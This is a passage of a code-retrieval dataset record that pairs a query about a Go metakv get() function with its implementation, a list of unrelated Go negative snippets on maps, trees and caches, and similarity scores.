*MetadataAsDictionary) Clear() {\\n\\tif d.metadata == nil {\\n\\t\\td.Init()\\n\\t}\\n\\td.dirty = true\\n\\n\\td.metadata = map[string]interface{}{} // TODO: can it be nil?\\n}\",\n \"func (m ConcurrentMap[T]) Clear() {\\n\\tfor _, shard := range m.shards {\\n\\t\\tshard.Lock()\\n\\t\\tshard.items = make(map[string]T)\\n\\t\\tshard.Unlock()\\n\\t}\\n}\",\n \"func (v values) Remove(keys ...string) {\\n\\tfor _, key := range keys {\\n\\t\\tdelete(v, key)\\n\\t}\\n}\",\n \"func DeleteUnhealthyConditionsConfigMap() error {\\n\\tc, err := LoadClient()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tkey := types.NamespacedName{\\n\\t\\tName: mrv1.ConfigMapNodeUnhealthyConditions,\\n\\t\\tNamespace: NamespaceOpenShiftMachineAPI,\\n\\t}\\n\\tcm := &corev1.ConfigMap{}\\n\\tif err := c.Get(context.TODO(), key, cm); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn c.Delete(context.TODO(), cm)\\n}\",\n \"func (p *Parser) Del(key string) {\\n\\tm, err := p.Map()\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\tdelete(m, key)\\n}\",\n \"func (c *ConcurrentPreviousSet) Clear() {\\n\\tc.mutex.Lock()\\n\\tdefer c.mutex.Unlock()\\n\\n\\tfor uid := range c.values {\\n\\t\\tdelete(c.values, uid)\\n\\t}\\n\\n\\tc.values = make(map[types.UID]types.Message)\\n}\",\n \"func (m *MACCommandSet) Clear() {\\n\\tm.commands = make(map[CID]MACCommand)\\n}\",\n \"func Delete(key string){\\n n := keyValue[key]\\n n.val = \\\"\\\"\\n n.hash = \\\"\\\"\\n keyValue[key] = n\\n}\",\n \"func (l *Logger) Without(keys ...string) *Logger {\\n\\tfor _, k := range keys {\\n\\t\\tfor i, v := range l.context {\\n\\t\\t\\tif v.Key == k {\\n\\t\\t\\t\\tcopy(l.context[i:], l.context[i+1:])\\n\\t\\t\\t\\tl.context[len(l.context)-1] = nil\\n\\t\\t\\t\\tl.context = l.context[:len(l.context)-1]\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn l\\n}\",\n \"func (am *ClientSetAtomicMap) Delete(key string) {\\n\\tam.mu.Lock()\\n\\tdefer am.mu.Unlock()\\n\\n\\tm1 := am.val.Load().(_ClientSetMap)\\n\\t_, ok := m1[key]\\n\\tif !ok {\\n\\t\\treturn\\n\\t}\\n\\n\\tm2 := make(_ClientSetMap, len(m1)-1)\\n\\tfor k, v := range m1 {\\n\\t\\tif k != key {\\n\\t\\t\\tm2[k] = v\\n\\t\\t}\\n\\t}\\n\\n\\tam.val.Store(m2)\\n\\treturn\\n}\",\n \"func AllKeys() Subspace {\\n\\treturn subspace{}\\n}\",\n \"func lunaRemoveKey(p *pkcs11.Ctx, session pkcs11.SessionHandle, keyID []byte) error {\\n\\n\\ttemplate := []*pkcs11.Attribute{\\n\\t\\tpkcs11.NewAttribute(pkcs11.CKA_TOKEN, true),\\n\\t\\tpkcs11.NewAttribute(pkcs11.CKA_ID, keyID),\\n\\t}\\n\\n\\tobjects, err := findObjects(p, session, template)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Find objects failed: %v\\\", err)\\n\\t}\\n\\n\\tfor _, object := range objects {\\n\\t\\terr = p.DestroyObject(session, object)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"Failed to remove object %d: %v\\\", object, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.5937962","0.58603454","0.5669769","0.5565801","0.54997426","0.5490069","0.537927","0.5348313","0.5343223","0.5293454","0.52923995","0.5213527","0.5175391","0.51735145","0.5132763","0.51187307","0.51140016","0.51031417","0.50361484","0.5017501","0.501246","0.50074124","0.49960214","0.49636853","0.48951834","0.48940986","0.4892321","0.48622328","0.48497668","0.48360458","0.48332465","0.48252025","0.48215094","0.48195755","0.480539","0.48023728","0.4801973","0.4794389","0.47873202","0.4778552","0.47494987","0.47303432","0.47302878","0.47146192","0.47143543","0.47113842","0.46894872","0.46669996","0.46448684","0.4640181","0.4637498","0.463375","0.46260118","0.46239406","0.46141192","0.4611405","0.46089038","0.46021867","0.45925325","0.45609757","0.4553474","0.455064","0.4550624","0.45465258","0.45441106","0.4537613","0.45366752","0.45342696","0.45324147","0.45185137","0.4509157","0.45087397","0.45082417","0.4505846","0.45053175","0.44981027","0.44867364","0.44862705","0.4482654","0.4477862","0.4470551","0.44659021","0.446253","0.44552147","0.44552147","0.4453827","0.44522905","0.44507203","0.44487858","0.44448182","0.44435614","0.44410238","0.44402277","0.44380435","0.44316182","0.44246188","0.44231296","0.44164678","0.44150344","0.4414017"],"string":"[\n \"0.5937962\",\n \"0.58603454\",\n \"0.5669769\",\n \"0.5565801\",\n \"0.54997426\",\n \"0.5490069\",\n \"0.537927\",\n \"0.5348313\",\n \"0.5343223\",\n \"0.5293454\",\n \"0.52923995\",\n \"0.5213527\",\n \"0.5175391\",\n \"0.51735145\",\n \"0.5132763\",\n \"0.51187307\",\n \"0.51140016\",\n \"0.51031417\",\n \"0.50361484\",\n \"0.5017501\",\n \"0.501246\",\n \"0.50074124\",\n \"0.49960214\",\n \"0.49636853\",\n \"0.48951834\",\n \"0.48940986\",\n \"0.4892321\",\n \"0.48622328\",\n \"0.48497668\",\n \"0.48360458\",\n \"0.48332465\",\n \"0.48252025\",\n \"0.48215094\",\n \"0.48195755\",\n \"0.480539\",\n \"0.48023728\",\n \"0.4801973\",\n \"0.4794389\",\n \"0.47873202\",\n \"0.4778552\",\n \"0.47494987\",\n \"0.47303432\",\n \"0.47302878\",\n \"0.47146192\",\n \"0.47143543\",\n \"0.47113842\",\n \"0.46894872\",\n \"0.46669996\",\n \"0.46448684\",\n \"0.4640181\",\n \"0.4637498\",\n \"0.463375\",\n \"0.46260118\",\n \"0.46239406\",\n \"0.46141192\",\n \"0.4611405\",\n \"0.46089038\",\n \"0.46021867\",\n \"0.45925325\",\n \"0.45609757\",\n \"0.4553474\",\n \"0.455064\",\n \"0.4550624\",\n \"0.45465258\",\n \"0.45441106\",\n \"0.4537613\",\n \"0.45366752\",\n \"0.45342696\",\n \"0.45324147\",\n \"0.45185137\",\n \"0.4509157\",\n \"0.45087397\",\n \"0.45082417\",\n \"0.4505846\",\n \"0.45053175\",\n \"0.44981027\",\n \"0.44867364\",\n \"0.44862705\",\n \"0.4482654\",\n \"0.4477862\",\n \"0.4470551\",\n \"0.44659021\",\n \"0.446253\",\n \"0.44552147\",\n \"0.44552147\",\n \"0.4453827\",\n \"0.44522905\",\n \"0.44507203\",\n \"0.44487858\",\n \"0.44448182\",\n \"0.44435614\",\n \"0.44410238\",\n \"0.44402277\",\n \"0.44380435\",\n \"0.44316182\",\n \"0.44246188\",\n \"0.44231296\",\n \"0.44164678\",\n \"0.44150344\",\n \"0.4414017\"\n]"},"document_score":{"kind":"string","value":"0.69279414"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106141,"cells":{"query":{"kind":"string","value":"get() retrieves multiple child entries from the metakv and weaves the results back into a composite nodeDefs. get() must be invoked with c.m.Lock()'ed."},"document":{"kind":"string","value":"func (a *cfgMetaKvNodeDefsSplitHandler) get(\n\tc *CfgMetaKv, key string, cas uint64) ([]byte, uint64, error) {\n\tm, err := metakv.ListAllChildren(c.keyToPath(key) + \"/\")\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\trv := &NodeDefs{NodeDefs: make(map[string]*NodeDef)}\n\n\tuuids := []string{}\n\tfor _, v := range m {\n\t\tvar childNodeDefs NodeDefs\n\n\t\terr = json.Unmarshal(v.Value, &childNodeDefs)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\tfor k1, v1 := range childNodeDefs.NodeDefs {\n\t\t\trv.NodeDefs[k1] = v1\n\t\t}\n\n\t\t// use the lowest version among nodeDefs\n\t\tif rv.ImplVersion == \"\" ||\n\t\t\t!VersionGTE(childNodeDefs.ImplVersion, rv.ImplVersion) {\n\t\t\trv.ImplVersion = childNodeDefs.ImplVersion\n\t\t}\n\n\t\tuuids = append(uuids, childNodeDefs.UUID)\n\t}\n\trv.UUID = checkSumUUIDs(uuids)\n\n\tif rv.ImplVersion == \"\" {\n\t\tversion := VERSION\n\t\tv, _, err := c.getRawLOCKED(VERSION_KEY, 0)\n\t\tif err == nil {\n\t\t\tversion = string(v)\n\t\t}\n\t\trv.ImplVersion = version\n\t}\n\n\tdata, err := json.Marshal(rv)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tcasResult := c.lastSplitCAS + 1\n\tc.lastSplitCAS = casResult\n\n\tc.splitEntries[key] = CfgMetaKvEntry{\n\t\tcas: casResult,\n\t\tdata: data,\n\t}\n\n\treturn data, casResult, nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (sn *streeNode) get(st, et time.Time, cb func(sn *streeNode, d int, t time.Time, r *big.Rat)) {\n\trel := sn.relationship(st, et)\n\tif sn.present && (rel == contain || rel == match) {\n\t\tcb(sn, sn.depth, sn.time, big.NewRat(1, 1))\n\t} else if rel != outside { // inside or overlap\n\t\tif sn.present && len(sn.children) == 0 {\n\t\t\t// TODO: I did not test this logic as extensively as I would love to.\n\t\t\t// See https://github.com/topport/magic/issues/28 for more context and ideas on what to do\n\t\t\tcb(sn, sn.depth, sn.time, sn.overlapRead(st, et))\n\t\t} else {\n\t\t\t// if current node doesn't have a tree present or has children, defer to children\n\t\t\tfor _, v := range sn.children {\n\t\t\t\tif v != nil {\n\t\t\t\t\tv.get(st, et, cb)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}","func (m *Set) GetChildren()([]Termable) {\n val, err := m.GetBackingStore().Get(\"children\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.([]Termable)\n }\n return nil\n}","func (n *Node) Retrieve(b *Box, values *[]Boxer) {\n\t// If this node does not intersect with the given box return.\n\tif !n.boundingBox.Intersects(b) {\n\t\treturn\n\t}\n\n\t// Find all values in this node that intersect with the given box.\n\tfor i, _ := range n.values {\n\t\tif b.Intersects(n.values[i].Box()) {\n\t\t\t*values = append(*values, n.values[i])\n\t\t}\n\t}\n\n\t// Recurse into each child node.\n\tif n.children[0] != nil {\n\t\tfor i, _ := range n.children {\n\t\t\tn.children[i].Retrieve(b, values)\n\t\t}\n\t}\n}","func (c SplitSize) Get(path string, filler Filler) (o Object, err error) {\n\tfor _, child := range c {\n\t\to, err = child.Cache.Get(path, nil)\n\t\tif err == nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif err != nil && filler != nil {\n\t\to, err = filler.Fill(c, path)\n\t}\n\n\treturn\n}","func (m *ItemTermStoresItemSetsItemChildrenItemChildrenTermItemRequestBuilder) Get(ctx context.Context, requestConfiguration *ItemTermStoresItemSetsItemChildrenItemChildrenTermItemRequestBuilderGetRequestConfiguration)(ia3c27b33aa3d3ed80f9de797c48fbb8ed73f13887e301daf51f08450e9a634a3.Termable, error) {\n requestInfo, err := m.ToGetRequestInformation(ctx, requestConfiguration);\n if err != nil {\n return nil, err\n }\n errorMapping := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.ErrorMappings {\n \"4XX\": ia572726a95efa92ddd544552cd950653dc691023836923576b2f4bf716cf204a.CreateODataErrorFromDiscriminatorValue,\n \"5XX\": ia572726a95efa92ddd544552cd950653dc691023836923576b2f4bf716cf204a.CreateODataErrorFromDiscriminatorValue,\n }\n res, err := m.requestAdapter.Send(ctx, requestInfo, ia3c27b33aa3d3ed80f9de797c48fbb8ed73f13887e301daf51f08450e9a634a3.CreateTermFromDiscriminatorValue, errorMapping)\n if err != nil {\n return nil, err\n }\n if res == nil {\n return nil, nil\n }\n return res.(ia3c27b33aa3d3ed80f9de797c48fbb8ed73f13887e301daf51f08450e9a634a3.Termable), nil\n}","func (d *Discovery) Get() []string {\n d.Lock()\n defer d.Unlock()\n\n items := make([]string, len(d.items))\n for i, item := range d.items {\n items[i] = item\n }\n\n return items\n}","func (s *Trie) get(root, key []byte, batch [][]byte, iBatch, height int) ([]byte, error) {\n\tif len(root) == 0 {\n\t\t// the trie does not contain the key\n\t\treturn nil, nil\n\t}\n\t// Fetch the children of the node\n\tbatch, iBatch, lnode, rnode, isShortcut, err := s.loadChildren(root, height, iBatch, batch)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif isShortcut {\n\t\tif bytes.Equal(lnode[:HashLength], key) {\n\t\t\treturn rnode[:HashLength], nil\n\t\t}\n\t\t// also returns nil if height 0 is not a shortcut\n\t\treturn nil, nil\n\t}\n\tif bitIsSet(key, s.TrieHeight-height) {\n\t\treturn s.get(rnode, key, batch, 2*iBatch+2, height-1)\n\t}\n\treturn s.get(lnode, key, batch, 2*iBatch+1, height-1)\n}","func (db *memorydb) MultiGet(key ...[]byte) ([][]byte, error) {\n\tdb.sm.RLock()\n\tdefer db.sm.RUnlock()\n\n\tvalues := [][]byte{}\n\tfor _, k := range key {\n\t\tif value, ok := db.db[string(k)]; ok {\n\t\t\tvalues = append(values, value)\n\t\t} else {\n\t\t\treturn nil, nil\n\t\t}\n\t}\n\treturn values, nil\n}","func (n *node) get(key Item, ctx interface{}) Item {\n\ti, found := n.items.find(key, ctx)\n\tif found {\n\t\treturn n.items[i]\n\t} else if len(n.children) > 0 {\n\t\treturn n.children[i].get(key, ctx)\n\t}\n\treturn nil\n}","func (r *Reader) MultiGet(keys [][]byte) ([][]byte, error) {\n\treturn store.MultiGet(r, keys)\n}","func getHelper(\n\tnode patricia, key []byte, prefix int, dao db.KVStore, bucket string, cb db.CachedBatch) ([]byte, error) {\n\t// parse the key and get child node\n\tchild, match, err := node.child(key[prefix:], dao, bucket, cb)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(ErrNotExist, \"key = %x\", key)\n\t}\n\tif child == nil {\n\t\t// this is the last node on path, return its stored value\n\t\treturn node.blob(key)\n\t}\n\t// continue get() on child node\n\treturn getHelper(child, key, prefix+match, dao, bucket, cb)\n}","func (n *NodeManager) Gets(target string, hours int64) ([]OsqueryNode, error) {\n\tvar nodes []OsqueryNode\n\tswitch target {\n\tcase \"all\":\n\t\tif err := n.DB.Find(&nodes).Error; err != nil {\n\t\t\treturn nodes, err\n\t\t}\n\tcase \"active\":\n\t\t//if err := n.DB.Where(\"updated_at > ?\", time.Now().AddDate(0, 0, -3)).Find(&nodes).Error; err != nil {\n\t\tif err := n.DB.Where(\"updated_at > ?\", time.Now().Add(time.Duration(hours)*time.Hour)).Find(&nodes).Error; err != nil {\n\t\t\treturn nodes, err\n\t\t}\n\tcase \"inactive\":\n\t\t//if err := n.DB.Where(\"updated_at < ?\", time.Now().AddDate(0, 0, -3)).Find(&nodes).Error; err != nil {\n\t\tif err := n.DB.Where(\"updated_at < ?\", time.Now().Add(time.Duration(hours)*time.Hour)).Find(&nodes).Error; err != nil {\n\t\t\treturn nodes, err\n\t\t}\n\t}\n\treturn nodes, nil\n}","func (nn *NamedNodes) Get(c cid.Cid) *NamedNode {\n\tnn.RLock()\n\tdefer nn.RUnlock()\n\treturn nn.m[c]\n}","func (this *node) get(split string) *node {\n\tvar wildcard, target *node = nil, nil\n\n\tfor _, child := range this.children {\n\t\t// Check for wildcard match\n\t\tif child.split == \"*\" {\n\t\t\twildcard = child\n\n\t\t\t// Break if both have been found\n\t\t\tif target != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// Check for direct match\n\t\tif child.split == split {\n\t\t\ttarget = child\n\n\t\t\t// Break if both have been found\n\t\t\tif wildcard != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return direct match over wildcard\n\tif target != nil {\n\t\treturn target\n\t}\n\n\treturn wildcard\n}","func GetEntries(res chan sharedSchema.Entries, query string) {\n\tvar bks sharedSchema.Entries\n\tit := utils.BqQuery(query)\n\tfor {\n\t\t// var bk sharedSchema.Entry\n\t\t// err := it.Next(&bk)\n\t\tvar m map[string]bigquery.Value\n\t\terr := it.Next(&m)\n\t\tif err == iterator.Done {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Error in parsing: Fetched Data: \", err)\n\t\t}\n\t\tbks = append(bks, sharedSchema.GetEntry(m))\n\t}\n\tres <- bks\n}","func getPatricia(key []byte, dao db.KVStore, bucket string, cb db.CachedBatch) (patricia, error) {\n\t// search in cache first\n\tnode, err := cb.Get(bucket, key)\n\tif err != nil {\n\t\tnode, err = dao.Get(bucket, key)\n\t}\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get key %x\", key[:8])\n\t}\n\tpbNode := iproto.NodePb{}\n\tif err := proto.Unmarshal(node, &pbNode); err != nil {\n\t\treturn nil, err\n\t}\n\tif pbBranch := pbNode.GetBranch(); pbBranch != nil {\n\t\tb := branch{}\n\t\tb.fromProto(pbBranch)\n\t\treturn &b, nil\n\t}\n\tif pbLeaf := pbNode.GetLeaf(); pbLeaf != nil {\n\t\tl := leaf{}\n\t\tl.fromProto(pbLeaf)\n\t\treturn &l, nil\n\t}\n\treturn nil, errors.Wrap(ErrInvalidPatricia, \"invalid node type\")\n}","func (hm HashMap) MultiGet(ctx context.Context, fields ...string) ([]Value, error) {\n\treq := newRequestSize(2+len(fields), \"\\r\\n$5\\r\\nHMGET\\r\\n$\")\n\treq.addStringAndStrings(hm.name, fields)\n\treturn hm.c.cmdStrings(ctx, req)\n}","func (d *device) getChildren() []Device {\n\tchildren := make([]Device, 0, len(d.children))\n\n\tfor _, k := range d.childKeys {\n\t\tchildren = append(children, d.children[k])\n\t}\n\treturn children\n}","func (db *InMemDatabase) GetChildren(uid UID, typename string) (UIDList, error) {\n\tnilList := []UID{}\n\tdata, ok := db.objectData[uid]\n\tif !ok {\n\t\treturn nilList, fmt.Errorf(\"Object %s: not in database\", uid.Interface().String())\n\t}\n\trefList, ok := data.children[typename]\n\tif !ok {\n\t\treturn nilList, nil\n\t}\n\treturn refList, nil\n}","func (c nullCache) GetMulti(ks ...string) ([]Item, error) {\n\treturn []Item{}, nil\n}","func (c *ComponentCollection) child(key string) Locatable {\n\tr, err := c.Get(common.IDString(key))\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"No child with key %s for %T\", key, c))\n\t}\n\treturn r\n}","func (f *uploadBytesFuture) Get() (blob.Ref, error) {\n\tfor _, f := range f.children {\n\t\tif _, err := f.Get(); err != nil {\n\t\t\treturn blob.Ref{}, err\n\t\t}\n\t}\n\treturn f.br, <-f.errc\n}","func (c *Cache) GetMulti(ctx context.Context, keys []string) ([][]byte, error) {\n\tif bpc := bypassFromContext(ctx); bpc == BypassReading || bpc == BypassReadWriting {\n\t\treturn nil, nil\n\t}\n\n\tbb, err := c.storage.MGet(ctx, keys...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn bb, nil\n}","func (u *unfinishedNodes) get() *builderNodeUnfinished {\n\tif len(u.stack) < len(u.cache) {\n\t\treturn &u.cache[len(u.stack)]\n\t}\n\t// full now allocate a new one\n\treturn &builderNodeUnfinished{}\n}","func (n *MapNode) ReadTargets(c ReadContext, key reflect.Value) (reflect.Value, error) {\n\tval := reflect.MakeMap(n.Type)\n\tlist := c.List()\n\tfor _, keyStr := range list {\n\t\telemKey := reflect.ValueOf(keyStr)\n\t\telem := *n.ElemNode\n\t\telemContext := c.Push(keyStr)\n\t\telemVal, err := elem.Read(elemContext, elemKey)\n\t\tif err != nil {\n\t\t\treturn val, errors.Wrapf(err, \"reading child %s\", keyStr)\n\t\t}\n\t\tval.SetMapIndex(elemKey, elemVal)\n\t}\n\treturn val, nil\n}","func (n *metadataNode) child(name string) *metadataNode {\n\tif c, ok := n.children[name]; ok {\n\t\treturn c\n\t}\n\tn.assertNonFrozen()\n\tif n.children == nil {\n\t\tn.children = make(map[string]*metadataNode, 1)\n\t}\n\tc := &metadataNode{\n\t\tparent: n,\n\t\tacls: make([]*packageACL, len(legacyRoles)),\n\t}\n\tif n.prefix == \"\" {\n\t\tc.prefix = name\n\t} else {\n\t\tc.prefix = n.prefix + \"/\" + name\n\t}\n\tn.children[name] = c\n\treturn c\n}","func (c *ImageRegistryCollection) child(key string) Locatable {\n\tr, err := c.Get(common.IDString(key))\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"No child with key %s for %T\", key, c))\n\t}\n\treturn r\n}","func (t *DiskTree) fetchChild(n *Node, c string) *Node {\n\tdn := t.dnodeFromNode(n)\n\tv, ok := dn.Children[c]\n\tif ok {\n\t\tdv := t.dnodeFromHash(v)\n\t\treturn dv.toMem()\n\t}\n\treturn nil\n}","func get(key string, ring *[100]*NodeMembership) (int, map[string]string) {\n hashKey := hash(key)\n numReplicas := 3\n\n var request Request\n request.requestType = \"get\"\n request.key = hashKey\n request.returnChan = make(chan map[string]string, numReplicas)\n\n blacklist := make(map[int]bool)\n pos := hashKey\n var value map[string]string\n for {\n nodeMembership := ring[pos]\n // Replicas on distinct nodes\n if _, contains := blacklist[pos]; !contains && nodeMembership != nil {\n nodeMembership.requestReceiver <- request\n numReplicas = numReplicas - 1\n for k, _ := range nodeMembership.virtualAddresses {\n blacklist[k] = true\n }\n value = <-request.returnChan\n fmt.Println(\"Got \"+key+\" from \"+strconv.Itoa(pos)+\": \", value)\n }\n pos = (pos + 1) % len(ring)\n\n if numReplicas == 0 {\n break\n }\n }\n return pos, value\n}","func child(n *node, c int) *node {\n\treturn n.C[c]\n}","func (of *openFiles) Get(fh uint64) (node mountlib.Noder, errc int) {\n\tof.mu.Lock()\n\t_, node, errc = of.get(fh)\n\tof.mu.Unlock()\n\treturn\n}","func (d *Document) get(id uint) *node {\n\tif d != nil && id < uint(len(d.nodes)) {\n\t\treturn &d.nodes[id]\n\t}\n\treturn nil\n}","func (a *cfgMetaKvNodeDefsSplitHandler) set(\n\tc *CfgMetaKv, key string, val []byte, cas uint64) (uint64, error) {\n\tpath := c.keyToPath(key)\n\n\tcurEntry := c.splitEntries[key]\n\n\tif cas != math.MaxUint64 && cas != 0 && cas != curEntry.cas {\n\t\tlog.Warnf(\"cfg_metakv: Set split, key: %v, cas mismatch: %x != %x\",\n\t\t\tkey, cas, curEntry.cas)\n\n\t\treturn 0, &CfgCASError{}\n\t}\n\n\tvar curNodeDefs NodeDefs\n\n\tif curEntry.data != nil && len(curEntry.data) > 0 {\n\t\terr := json.Unmarshal(curEntry.data, &curNodeDefs)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvar nd NodeDefs\n\n\terr := json.Unmarshal(val, &nd)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\t// Analyze which children were added, removed, updated.\n\t//\n\tadded := map[string]bool{}\n\tremoved := map[string]bool{}\n\tupdated := map[string]bool{}\n\n\tfor k, v := range nd.NodeDefs {\n\t\tif curNodeDefs.NodeDefs == nil ||\n\t\t\tcurNodeDefs.NodeDefs[k] == nil {\n\t\t\tadded[k] = true\n\t\t} else {\n\t\t\tif !reflect.DeepEqual(curNodeDefs.NodeDefs[k], v) {\n\t\t\t\tupdated[k] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tif curNodeDefs.NodeDefs != nil {\n\t\tfor k := range curNodeDefs.NodeDefs {\n\t\t\tif nd.NodeDefs[k] == nil {\n\t\t\t\tremoved[k] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Printf(\"cfg_metakv: Set split, key: %v,\"+\n\t\t\" added: %v, removed: %v, updated: %v\",\n\t\tkey, added, removed, updated)\n\nLOOP:\n\tfor k, v := range nd.NodeDefs {\n\t\tif cas != math.MaxUint64 && c.nodeUUID != \"\" && c.nodeUUID != v.UUID {\n\t\t\t// If we have a nodeUUID, only add/update our\n\t\t\t// nodeDef, where other nodes will each add/update\n\t\t\t// only their own nodeDef's.\n\t\t\tlog.Printf(\"cfg_metakv: Set split, key: %v,\"+\n\t\t\t\t\" skipping other node UUID: %v, self nodeUUID: %s\",\n\t\t\t\tkey, v.UUID, c.nodeUUID)\n\n\t\t\tcontinue LOOP\n\t\t}\n\n\t\tchildNodeDefs := NodeDefs{\n\t\t\tUUID: nd.UUID,\n\t\t\tNodeDefs: map[string]*NodeDef{},\n\t\t\tImplVersion: nd.ImplVersion,\n\t\t}\n\t\tchildNodeDefs.NodeDefs[k] = v\n\n\t\tval, err = json.Marshal(childNodeDefs)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tchildPath := path + \"/\" + k\n\n\t\tlog.Printf(\"cfg_metakv: Set split, key: %v, childPath: %v\",\n\t\t\tkey, childPath)\n\n\t\terr = metakv.Set(childPath, val, nil)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tif cas != math.MaxUint64 {\n\t\t\tbreak LOOP\n\t\t}\n\t}\n\n\t// Remove composite children entries from metakv only if\n\t// caller was attempting removals only. This should work as\n\t// the caller usually has read-compute-write logic that only\n\t// removes node defs and does not add/update node defs in the\n\t// same read-compute-write code path.\n\t//\n\tif len(added) <= 0 && len(updated) <= 0 && len(removed) > 0 {\n\t\tfor nodeDefUUID := range removed {\n\t\t\tchildPath := path + \"/\" + nodeDefUUID\n\n\t\t\tlog.Printf(\"cfg_metakv: Set delete, childPath: %v\", childPath)\n\n\t\t\terr = metakv.Delete(childPath, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t}\n\t}\n\n\tcasResult := c.lastSplitCAS + 1\n\tc.lastSplitCAS = casResult\n\treturn casResult, err\n}","func getAll(ctx context.Context, host, repo string) ([]*mapPart, error) {\n\thostRepo := host + \"/\" + repo\n\tparentKey := datastore.MakeKey(ctx, parentKind, hostRepo)\n\tq := datastore.NewQuery(mapKind).Ancestor(parentKey)\n\tmps := []*mapPart{}\n\tif err := datastore.GetAll(ctx, q, &mps); err != nil {\n\t\treturn nil, errors.Annotate(err, hostRepo).Tag(transient.Tag).Err()\n\t}\n\treturn mps, nil\n}","func (s *levelsController) get(key []byte, maxVs *y.ValueStruct) (y.ValueStruct, error) {\n\t// It's important that we iterate the levels from 0 on upward. The reason is, if we iterated\n\t// in opposite order, or in parallel (naively calling all the h.RLock() in some order) we could\n\t// read level L's tables post-compaction and level L+1's tables pre-compaction. (If we do\n\t// parallelize this, we will need to call the h.RLock() function by increasing order of level\n\t// number.)\n\tversion := y.ParseTs(key)\n\tfor _, h := range s.levels {\n\t\tvs, err := h.get(key) // Calls h.RLock() and h.RUnlock().\n\t\tif err != nil {\n\t\t\treturn y.ValueStruct{}, errors.Wrapf(err, \"get key: %q\", key)\n\t\t}\n\t\tif vs.Value == nil && vs.Meta == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif maxVs == nil || vs.Version == version {\n\t\t\treturn vs, nil\n\t\t}\n\t\tif maxVs.Version < vs.Version {\n\t\t\t*maxVs = vs\n\t\t}\n\t}\n\tif maxVs != nil {\n\t\treturn *maxVs, nil\n\t}\n\treturn y.ValueStruct{}, nil\n}","func (this *MultiMap) Get(key interface{}) interface{} {\n\tnode := this.tree.FindNode(key)\n\tif node != nil {\n\t\treturn node.Value()\n\t}\n\treturn nil\n}","func (n *TreeNode) Get(key string) (value Entry, ok bool) {\n\tn.mutex.RLock()\n\tvalue, ok = n.files[key]\n\tn.mutex.RUnlock()\n\treturn\n}","func (bd *BlockDAG) getFutureSet(fs *HashSet, b IBlock) {\n\tchildren := b.GetChildren()\n\tif children == nil || children.IsEmpty() {\n\t\treturn\n\t}\n\tfor k := range children.GetMap() {\n\t\tif !fs.Has(&k) {\n\t\t\tfs.Add(&k)\n\t\t\tbd.getFutureSet(fs, bd.getBlock(&k))\n\t\t}\n\t}\n}","func (q *QuadTree) Retrieve(rectangle *Rectangle, result *[]*Rectangle) {\n\t*result = append(*result, q.objects...)\n\tfor _, node := range q.nodes {\n\t\tif node.bounds.Intersects(rectangle) {\n\t\t\tnode.Retrieve(rectangle, result)\n\t\t}\n\t}\n}","func (n *items) get(i uint32) (*list, error) {\n\tif i > n.len {\n\t\treturn nil, ErrIndexRange\n\t}\n\treturn n.data[i], nil\n}","func (pc *pathContainer) get(subpath string) *pathNode {\n\n\t// binary search\n\tlow := 0\n\thigh := len(*pc) - 1\n\tvar mid, cmp int\n\n\tfor low <= high {\n\t\tmid = (low + high) / 2\n\t\tcmp = strings.Compare(subpath, (*pc)[mid].name)\n\t\tif cmp == 0 {\n\t\t\treturn (*pc)[mid]\n\t\t} else if cmp < 0 {\n\t\t\thigh = mid - 1\n\t\t} else {\n\t\t\tlow = mid + 1\n\t\t}\n\t}\n\n\treturn nil\n}","func (d *Release) fetch() map[string]interface{} {\n\tvar gap = struct {\n\t\tdata map[string]interface{}\n\t\tmu sync.Mutex\n\t}{\n\t\tdata: make(map[string]interface{}),\n\t}\n\tvar wg sync.WaitGroup\n\tfor k, v := range d.src {\n\t\twg.Add(1)\n\t\tgo func(k string, _ interface{}) {\n\t\t\tdefer wg.Done()\n\t\t\t// we arbitrary choose the first server as data reference.\n\t\t\tcv, found := d.to[0].Lookup(k)\n\t\t\tif !found {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tgap.mu.Lock()\n\t\t\tgap.data[k] = cv\n\t\t\tgap.mu.Unlock()\n\t\t}(k, v)\n\t}\n\twg.Wait()\n\n\treturn gap.data\n}","func (c 